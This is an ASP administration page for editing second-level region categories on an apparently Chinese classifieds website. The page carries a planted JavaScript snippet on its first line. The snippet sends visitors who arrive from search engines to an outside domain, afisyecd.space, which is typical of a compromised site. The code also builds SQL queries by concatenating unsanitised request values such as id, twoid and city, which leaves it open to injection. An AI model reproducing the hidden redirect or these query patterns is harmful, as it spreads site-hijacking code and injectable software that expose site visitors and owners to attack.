d:\wwwroot\wuchunhua\admin\cityedit_two.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!--#include file="../md5.asp"-->
003:
<%
if session("china_admin")="" then
004:
response.redirect "login.asp"
005:
end if
%
>
006:
<%
dim action,id,dcity
007:
twoid=request.QueryString("twoid")
008:
id=request.QueryString("id")
009:
action=request.querystring("action")
010:
dcity=trim(request("city"))
011:
dcityadmin=trim(request("cityadmin"))
012:
dcitypass=HtmlEncode(trim(request.form("citypass")))
013:
if dcity="" and action<>"" then
014:
response.write "<script LANGUAGE='javascript'>alert('请认真填写!');history.go(-1);</script>"
015:
response.end
016:
end if
017:
set rs=server.CreateObject("adodb.recordset")
018:
rs.open "select * from china_city where id="&id&" and twoid=0",conn,1,3
019:
mname=rs("city")
020:
rs.close
021:
set rs=nothing
022:
023:
024:
select case action
025:
case "add"
026:
if dcity<>"" then
027:
set rs=server.CreateObject("adodb.recordset")
028:
rs.open "select * from china_city where id="&id&" and twoid<>0 and threeid=0 and city='"&dcity&"'",conn,1,3
029:
if rs.eof then
030:
rs.close
031:
rs.open "select * from china_city where id="&id&" order by twoid desc",conn,1,3
032:
two=rs("twoid")+1
033:
rs.close
034:
rs.open "china_city",conn,1,3
035:
rs.AddNew
036:
rs("id")=id
037:
rs("city")=dcity
038:
rs("cityadmin")=dcityadmin
039:
rs("citypass")=md5(dcitypass)
040:
rs("indexid")=trim(request("indexid"))
041:
rs("indexshow")=trim(request("indexshow"))
042:
rs("twoid")=two
043:
rs.Update
044:
rs.Close
045:
set rs=nothing
046:
end if
047:
end if
048:
case "edit"
049:
set rs=server.CreateObject("adodb.recordset")
050:
rs.open "select * from china_city where threeid=0 and twoid="&twoid&" and id="&id,conn,1,3
051:
ycity=rs("city")
052:
rs("city")=dcity
053:
rs("cityadmin")=dcityadmin
054:
rs("indexid")=trim(request("indexid"))
055:
rs("indexshow")=trim(request("indexshow"))
056:
if dcitypass<>rs("citypass") then
057:
rs("citypass")=md5(dcitypass)
058:
end if
059:
rs.Update
060:
rs.Close
061:
set rs=nothing
062:
sql="update china_data set city_two='"&dcity&"' where city_threeid=0 and city_twoid="&twoid&" and city_oneid="&id
063:
conn.execute sql
064:
065:
case "del"
066:
set rs=server.CreateObject("adodb.recordset")
067:
conn.execute ("delete from china_city where id="&id&" and twoid="&twoid&"")
068:
sql="select * from china_data where city_oneid="&id&" and city_twoid="&twoid&""
069:
set rs=server.createobject("adodb.recordset")
070:
rs.open sql,conn,3,2
071:
Set fdel = CreateObject("Scripting.FileSystemObject")
072:
if not rs.eof then
073:
For iPage = 1 To rs.recordcount
074:
adid=rs("adid")
075:
pic=rs("pic")
076:
rs.delete
077:
rs.update
078:
sql1="delete from china_message where adid ="&adid&""
079:
conn.execute(sql1)
080:
rs.movenext
081:
'''''''''''删除html开始''''''''''''''''
082:
083:
tempImageDir = Server.MapPath("../html/"&adid&".htm")
084:
fdel.DeleteFile(tempImageDir)
085:
if pic<>"" and lcase(left(pic,7))<>"http://" then
086:
fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
087:
end if
088:
089:
'''''''''''删除html结束'''''''''''''''
090:
if rs.eof then exit for
091:
next
092:
end if
093:
rs.close
094:
095:
sql="select * from news_data where city_oneid="&id&" and city_twoid="&twoid&""
096:
rs.open sql,conn,3,2
097:
if not rs.eof then
098:
For iPage = 1 To rs.recordcount
099:
adid=rs("adid")
100:
pic=rs("pic")
101:
rs.delete
102:
rs.update
103:
sql1="delete from news_message where adid ="&adid&""
104:
conn.execute(sql1)
105:
rs.movenext
106:
'''''''''''删除html开始''''''''''''''''
107:
tempImageDir = Server.MapPath("../html/news/"&adid&".htm")
108:
fdel.DeleteFile(tempImageDir)
109:
if pic<>"" and lcase(left(pic,7))<>"http://" then
110:
fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
111:
end if
112:
'''''''''''删除html结束'''''''''''''''
113:
if rs.eof then exit for
114:
next
115:
end if
116:
set fdel=nothing
117:
rs.close:set rs=nothing
118:
conn.close:set conn=nothing
119:
response.Redirect "?id="&id&""
120:
end select
121:
%
>
122:
<html>
123:
124:
<HEAD>
125:
<META http-equiv="Content-Type" content="text/html; charset=gb2312">
126:
<META name="GENERATOR" content="Microsoft FrontPage 4.0">
127:
<META name="ProgId" content="FrontPage.Editor.Document">
128:
<TITLE>地区分类管理</TITLE>
129:
<LINK rel="stylesheet" type="text/css" href="style.css">
130:
</HEAD>
131:
132:
<BODY>
133:
134:
135:
<TABLE width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
136:
<TR>
137:
<TD height="20" bgcolor="#799AE1" align="center"><FONT color="#FFFFFF" style="font-size:14px">二 级 地 区 分 类 管 理</FONT></TD>
138:
</TR>
139:
<TR>
140:
<TD bgcolor="#FFFFFF"> [<A href="cityedit.asp">首页</A>]->
<%
=mname
%
><BR>
141:
<TABLE width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
142:
<TR align="center" bgcolor="#FFFFFF" height="20">
143:
<TD width="30">编号</TD>
144:
<TD>地区名称</TD>
145:
<TD>显示顺序</TD>
146:
<TD>首页显示</TD>
147:
<TD>地区管理员</TD>
148:
<TD>地区管理密码</TD>
149:
<TD>管理操作</TD>
150:
</TR>
151:
<%
set rs=server.CreateObject("adodb.recordset")
152:
rs.Open "select * from china_city where id="&id&" and twoid<>0 and threeid=0 order by twoid",conn,1,1
153:
dim follows
154:
if rs.EOF and rs.BOF then
155:
response.write"<tr bgcolor=#FFFFFF><td colspan='5'><p align='center'><font color='red'>暂无地区分类!</font></td></tr></table><br>"
156:
follows=0
157:
else
158:
do while not rs.EOF
159:
i=i+1
160:
%
>
161:
<FORM name="form1" method="post" action="?action=edit&id=
<%
=int(rs("id"))
%
>&twoid=
<%
=int(rs("twoid"))
%
>">
162:
<TR bgcolor="#FFFFFF" align="center">
163:
<TD>
<%
=i
%
></TD>
164:
<TD>
165:
<INPUT name="city" type="text" id="city" value="
<%
=trim(rs("city"))
%
>" size="8">
166:
[<A href="cityedit_three.asp?id=
<%
=rs("id")
%
>&twoid=
<%
=rs("twoid")
%
>">子目录</A>]</TD>
167:
<TD>
168:
<INPUT name="indexid" type="text" size="2" value="
<%
=trim(rs("indexid"))
%
>">
169:
</TD>
170:
<TD>
171:
<SELECT name="indexshow">
172:
<OPTION value="yes"
<%
if rs("indexshow")="yes" then
%
>selected
<%
end if
%
>>显示</OPTION>
173:
<OPTION value="no"
<%
if rs("indexshow")="no" then
%
>selected
<%
end if
%
>>隐藏</OPTION>
174:
</SELECT>
175:
</TD>
176:
<TD>
177:
<INPUT name="cityadmin" type="text" id="cityadmin" value="
<%
=trim(rs("cityadmin"))
%
>" size="12">
178:
</TD>
179:
<TD>
180:
<INPUT name="citypass" type="password" id="citypass" value="
<%
=trim(rs("citypass"))
%
>" size="12">
181:
</TD>
182:
<TD>
183:
<INPUT type="submit" name="Submit" value="修 改">
184:
185:
<INPUT type="button" name="DEL" onClick="{if(confirm('确定要删除这个地区分类吗?\n将删除此分类下所有信息\n此操作不可以恢复!')){location.href='?city=
<%
=rs("city")
%
>&id=
<%
=rs("id")
%
>&twoid=
<%
=rs("twoid")
%
>&action=del';}return false;}" value="删除" >
186:
</TD>
187:
</TR>
188:
</FORM>
189:
<%
190:
rs.MoveNext
191:
loop
192:
follows=rs.RecordCount
193:
end if
%
>
194:
</TABLE>
195:
<BR></TD>
196:
</TR>
197:
</TABLE>
198:
<BR>
199:
<TABLE width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
200:
<TR>
201:
<TD height="20" bgcolor="#799AE1" align="center"><FONT color="#FFFFFF" style="font-size:14px">添 加 二 级 地 区</FONT></TD>
202:
</TR>
203:
<TR>
204:
<TD bgcolor="#FFFFFF">
205:
<BR>
206:
<TABLE width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
207:
<TR align="center" bgcolor="#FFFFFF" height="20">
208:
<TD width="30">编号 </TD>
209:
<TD>地区名称</TD>
210:
<TD>显示顺序</TD>
211:
<TD>首页显示</TD>
212:
<TD>地区管理员</TD>
213:
<TD>地区管理密码</TD>
214:
<TD>确定操作</TD>
215:
</TR>
216:
<FORM name="form1" method="post" action="?action=add&id=
<%
=id
%
>">
217:
<TR align="center" bgcolor="#FFFFFF">
218:
<TD>
<%
=rs.RecordCount+1
%
></TD>
219:
<TD>
220:
<INPUT name="city" type="text" id="city" size="12">
221:
</TD>
222:
<TD>
223:
<INPUT name="indexid" type="text" value="0" size="2">
224:
</TD>
225:
<TD>
226:
<SELECT name="indexshow">
227:
<OPTION value="yes">显示</OPTION>
228:
<OPTION value="no" selected>隐藏</OPTION>
229:
</SELECT>
230:
</TD>
231:
<TD>
232:
<INPUT name="cityadmin" type="text" id="cityadmin" size="12">
233:
</TD>
234:
<TD>
235:
<INPUT name="citypass" type="password" id="citypass" size="12">
236:
</TD>
237:
<TD>
238:
<INPUT type="submit" name="Submit3" value="添 加">
239:
</TD>
240:
</TR>
241:
</FORM>
242:
</TABLE>
243:
<BR></TD>
244:
</TR>
245:
</TABLE>
246:
</BODY>
247:
</HTML>
248:
249:
250: